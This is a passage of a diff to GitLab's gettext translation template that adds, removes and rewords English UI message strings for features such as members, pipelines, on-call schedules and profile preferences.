-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15949,9 +16338,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -16003,18 +16389,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -16030,9 +16407,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -16138,6 +16512,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -16160,6 +16537,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16364,9 +16744,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16427,16 +16804,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16499,7 +16870,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16511,7 +16882,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16559,6 +16930,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16583,9 +16957,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16742,7 +17113,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16778,9 +17152,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16790,12 +17173,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16814,6 +17206,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16865,6 +17260,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16916,6 +17314,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17476,6 +17877,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17581,6 +17985,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17614,12 +18021,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17677,7 +18078,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17773,6 +18174,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17904,6 +18308,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17937,6 +18344,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -18162,7 +18572,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18316,6 +18726,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18421,9 +18834,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18607,9 +19017,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18646,6 +19053,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18664,6 +19074,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18676,6 +19089,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18715,6 +19131,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18751,9 +19170,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18769,6 +19194,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18778,6 +19206,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18904,6 +19335,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18919,9 +19377,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18946,9 +19401,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18961,6 +19413,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18970,7 +19428,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18995,9 +19453,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -19079,6 +19534,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -19145,9 +19603,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -19193,6 +19648,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19349,6 +19807,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19463,6 +19924,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19487,9 +19951,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19754,6 +20215,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19862,9 +20326,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19910,6 +20371,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19922,6 +20386,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19931,6 +20398,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -20156,6 +20629,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -20165,9 +20641,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20330,18 +20803,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20351,9 +20818,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20375,9 +20839,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20432,6 +20893,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20561,6 +21025,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20570,6 +21052,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20600,6 +21085,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20957,9 +21445,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -21212,7 +21697,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -21254,6 +21742,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21314,9 +21805,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21338,6 +21826,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21407,6 +21901,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21788,6 +22285,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -22103,6 +22603,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -22256,6 +22759,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22341,9 +22847,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22420,6 +22923,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22447,9 +22953,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22654,9 +23157,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22672,15 +23172,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22759,6 +23256,16 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22793,6 +23300,13 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22844,6 +23358,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22874,12 +23391,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22907,6 +23430,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22940,10 +23466,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -23065,12 +23591,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -23197,6 +23729,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -23237,6 +23772,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -23259,6 +23797,9 @@ msgstr[3] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23328,6 +23869,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23391,12 +23935,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23424,9 +23962,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23529,12 +24064,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23553,7 +24082,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23610,15 +24139,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23721,6 +24244,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23760,9 +24286,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23864,6 +24387,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -24050,6 +24576,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -24216,6 +24745,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24333,9 +24868,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24678,12 +25210,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24726,21 +25252,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24759,6 +25294,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24855,9 +25393,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24912,13 +25447,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24949,6 +25487,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -25046,10 +25587,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
